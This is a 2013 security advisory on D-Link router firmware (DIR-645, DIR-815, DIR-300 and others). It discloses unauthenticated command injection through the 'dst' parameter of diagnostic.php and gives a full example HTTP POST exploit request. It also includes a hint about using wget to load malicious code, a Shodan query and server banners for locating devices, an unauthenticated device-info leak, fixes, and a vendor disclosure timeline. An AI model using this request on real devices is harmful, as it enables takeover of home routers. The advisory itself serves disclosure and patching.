# Exploit Title: Multiple Vulnerabilities in Dlink devices# Date: 05.04.2013# Exploit Author: m-1-k-3# Vendor Homepage: http://www.dlink.de# Software Link: http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLProductCarouselSingle&cid=1197391383981&p=1197318958269&packedargs=ProductParentID%3D1197318677527%26category%3DQuickProductFinder%26locale%3D1195806663795%26term%3DDIR-645&pagename=DLinkEurope-DE%2FDLWrapper# Version: different devices and versions are affected
Device Name: DIR-600/ DIR-300 revB / DIR-815/ DIR-645/ DIR-412/ DIR-456/ DIR-110
Vendor: D-Link
============Vulnerable Firmware Releases:============
DIR-815 v1.03b02 (unauthenticated command injection)
DIR-645 v1.02(unauthenticated command injection)
DIR-645 v1.03(authenticated command injection)
DIR-600 below v2.16b01 (with v2.16b01 D-Link also fixes different vulnerabilities reported in M1ADV2013-003)
DIR-300 revB v2.13b01 (unauthenticated command injection)
DIR-300 revB v2.14b01 (authenticated command injection)
DIR-412 Ver 1.14WWB02 (unauthenticated command injection)
DIR-456U Ver 1.00ONG (unauthenticated command injection)
DIR-110 Ver 1.01(unauthenticated command injection)
Possible other versions and devices are also affected by this vulnerability.============ Shodan Torks ============
Shodan search: Server: Linux, HTTP/1.1, DIR
=>9300 results
============ Vulnerability Overview:============* OS Command Injection
The vulnerability is caused by missing input validation in the dst parameter and missing session validation and can be exploited to inject and execute arbitrary shell commands.
WARNING: You do not need to be authenticated to the device to insert and execute malicious commands.
Hint: On different devices like the DIR-645 wget is preinstalled and you are able to upload and execute your malicious code.=> Parameter: dst
Example Exploit:
POST /diagnostic.php HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0(Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://xxxx/
Content-Length:41
Cookie: uid=hfaiGzkB4z
Pragma: no-cache
Cache-Control: no-cache
act=ping&dst=%26%20COMMAND%26
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/05.04.2013%20-%20Dlink-DIR-645_msf-shell.txt.png
* Information disclosure:
Nice server banner to detect this type of devices easily:
Server Banner: Server: Linux, HTTP/1.1, DIR-815
Server Banner: Server: Linux, HTTP/1.1, DIR-645
Server Banner: Server: Linux, HTTP/1.1, DIR-600
Server Banner: Server: Linux, HTTP/1.1, DIR-300
Server Banner: Server: Linux, HTTP/1.1, DIR-412
Server Banner: Server: Linux, HTTP/1.1, DIR-456U
Server Banner: Server: Linux, HTTP/1.1, DIR-110* Information Disclosure:
Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available via the network.
Request:
http://<IP>IP/DevInfo.txt or http://<IP>IP/version.txt (check the source of the site)
Response to DevInfo.txt:
Firmware External Version: V1.00
Firmware Internal Version: a86b
Model Name: DIR-815
Hardware Version:
WLAN Domain: xxx
Kernel:2.6.33.2
Language: en
Graphcal Authentication: Disable
LAN MAC: xx
WAN MAC: xx
WLAN MAC: xx
These details are available without authentication.============ Solution ============
DIR-645: Update to firmware v1.04b5
DIR-600: Update to firmware v2.16B01
DIR-300rev B: Update to firmware 2.14B01 fixes the authentication bypass but not the command injection vulnerability.
Other devices: No known solution available.============ Credits ============
The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de
============ Time Line:============14.12.2012- discovered vulnerability in first device
14.12.2012- contacted dlink via the webinterface http://www.dlink.com/us/en/home-solutions/contact-d-link
20.12.2012- contacted Heise Security with details and Heisec forwarded the details to D-Link
21.12.2012- D-link responded that they will check the findings
11.01.2013- requested status update
25.01.2013- requested status update and updated D-Link with the other vulnerable devices
25.01.2013- D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix.07.02.2013- after the DIR-600/300 drama D'Link contacted me and now they are talking with me ;)
since 07.02.2013- Good communication and firmware testing
27.02.2013- Roberto Paleari releases details about authentication bypass in DIR-645- http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt
05.04.2013- vendor releases firmware updates
05.04.2013- public release
===================== Advisory end =====================
